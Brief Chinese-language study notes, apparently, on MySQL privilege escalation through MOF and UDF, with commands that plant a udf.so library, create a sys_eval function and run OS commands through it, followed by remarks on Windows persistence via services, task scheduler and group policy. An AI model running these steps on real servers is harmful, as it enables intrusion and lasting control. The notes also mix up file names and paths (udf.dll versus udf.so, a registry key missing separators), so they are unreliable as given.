数据库提权

MOF提权

UDF提权

 

select load_file('/var/www/html/udf/udf.so') into dumpfile "/var/lib/mysql/udf.dll"

create function sys_eval returns string soname 'udf.so'

select sys_eval('ipconfig')

 

windows下udf提权(后缀为dll)

程序不管是放在  开始-启动 
还是修改注册表[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 
用户都必须登录一次桌面才行
如何不需要登录系统也能启动程序呢？

做成系统服务、通过 task scheduler 启动、组策略三种办法